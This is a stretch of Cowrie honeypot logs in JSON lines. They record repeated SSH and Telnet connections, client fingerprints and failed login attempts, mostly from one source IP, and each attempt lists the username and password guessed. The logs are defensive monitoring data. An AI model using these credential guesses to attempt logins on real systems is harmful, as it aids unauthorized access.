{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:20.981174Z","src_ip":"60.165.124.241","session":"b3a1d65d8d5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48152,"dst_ip":"10.17.0.5","dst_port":22,"session":"f530992f65ce","protocol":"ssh","message":"New connection: 60.165.124.241:48152 (10.17.0.5:22) [session: f530992f65ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:21.195292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:21.201172Z","src_ip":"60.165.124.241","session":"f530992f65ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:21.449029Z","src_ip":"60.165.124.241","session":"f530992f65ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"merlin","message":"login attempt [root/merlin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:22.179715Z","src_ip":"60.165.124.241","session":"f530992f65ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:23.429143Z","src_ip":"60.165.124.241","session":"f530992f65ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51032,"dst_ip":"10.17.0.5","dst_port":22,"session":"108d9f8be4b1","protocol":"ssh","message":"New connection: 60.165.124.241:51032 (10.17.0.5:22) [session: 108d9f8be4b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:23.669313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:23.673978Z","src_ip":"60.165.124.241","session":"108d9f8be4b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:23.919234Z","src_ip":"60.165.124.241","session":"108d9f8be4b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":34552,"dst_ip":"10.17.0.5","dst_port":23,"session":"7af467486108","protocol":"telnet","message":"New connection: 198.58.117.211:34552 (10.17.0.5:23) [session: 7af467486108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:24.022795Z"}
{"eventid":"cowrie.session.closed","duration":0.006536006927490234,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:24.029206Z","src_ip":"198.58.117.211","session":"7af467486108","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"J2mv9jyyq6","message":"login attempt [root/J2mv9jyyq6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:24.651570Z","src_ip":"60.165.124.241","session":"108d9f8be4b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:25.891065Z","src_ip":"60.165.124.241","session":"108d9f8be4b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":53938,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6bbf99fa85b","protocol":"ssh","message":"New connection: 60.165.124.241:53938 (10.17.0.5:22) [session: a6bbf99fa85b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:26.133542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:26.140023Z","src_ip":"60.165.124.241","session":"a6bbf99fa85b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:26.384001Z","src_ip":"60.165.124.241","session":"a6bbf99fa85b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aaa123456","message":"login attempt [root/Aaa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:27.135184Z","src_ip":"60.165.124.241","session":"a6bbf99fa85b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:28.385684Z","src_ip":"60.165.124.241","session":"a6bbf99fa85b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":56868,"dst_ip":"10.17.0.5","dst_port":22,"session":"77e3bb69ee7b","protocol":"ssh","message":"New connection: 60.165.124.241:56868 (10.17.0.5:22) [session: 77e3bb69ee7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:28.633448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:28.637771Z","src_ip":"60.165.124.241","session":"77e3bb69ee7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:28.876063Z","src_ip":"60.165.124.241","session":"77e3bb69ee7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lh123456","message":"login attempt [root/Lh123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:29.595369Z","src_ip":"60.165.124.241","session":"77e3bb69ee7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:30.850886Z","src_ip":"60.165.124.241","session":"77e3bb69ee7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59868,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef78ff107669","protocol":"ssh","message":"New connection: 60.165.124.241:59868 (10.17.0.5:22) [session: ef78ff107669]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:31.104012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:31.111537Z","src_ip":"60.165.124.241","session":"ef78ff107669","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:31.358340Z","src_ip":"60.165.124.241","session":"ef78ff107669","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welkom01!","message":"login attempt [root/Welkom01!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:32.110218Z","src_ip":"60.165.124.241","session":"ef78ff107669","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:33.365943Z","src_ip":"60.165.124.241","session":"ef78ff107669","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34500,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa01a8976cb2","protocol":"ssh","message":"New connection: 60.165.124.241:34500 (10.17.0.5:22) [session: fa01a8976cb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:33.598840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:33.603829Z","src_ip":"60.165.124.241","session":"fa01a8976cb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:33.843573Z","src_ip":"60.165.124.241","session":"fa01a8976cb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc@124578!","message":"login attempt [root/abc@124578!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:34.592019Z","src_ip":"60.165.124.241","session":"fa01a8976cb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":41156,"dst_ip":"159.203.135.109","dst_port":22,"session":"869a9b4a81ac","protocol":"ssh","message":"New connection: 2.57.122.208:41156 (159.203.135.109:22) [session: 869a9b4a81ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:35.575626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:35.739376Z","src_ip":"2.57.122.208","session":"869a9b4a81ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:35.743448Z","src_ip":"2.57.122.208","session":"869a9b4a81ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:35.844805Z","src_ip":"60.165.124.241","session":"fa01a8976cb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37516,"dst_ip":"10.17.0.5","dst_port":22,"session":"4357c1c23bd9","protocol":"ssh","message":"New connection: 60.165.124.241:37516 (10.17.0.5:22) [session: 4357c1c23bd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:36.080203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:36.085422Z","src_ip":"60.165.124.241","session":"4357c1c23bd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:36.324432Z","src_ip":"60.165.124.241","session":"4357c1c23bd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ruijie@123","message":"login attempt [root/ruijie@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:37.044883Z","src_ip":"60.165.124.241","session":"4357c1c23bd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"123456","message":"login attempt [trader/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:37.103951Z","src_ip":"2.57.122.208","session":"869a9b4a81ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:38.286411Z","src_ip":"60.165.124.241","session":"4357c1c23bd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:38.433577Z","src_ip":"2.57.122.208","session":"869a9b4a81ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40350,"dst_ip":"10.17.0.5","dst_port":22,"session":"9877a23efe07","protocol":"ssh","message":"New connection: 60.165.124.241:40350 (10.17.0.5:22) [session: 9877a23efe07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:38.545315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:38.550025Z","src_ip":"60.165.124.241","session":"9877a23efe07","protocol":"ssh"}
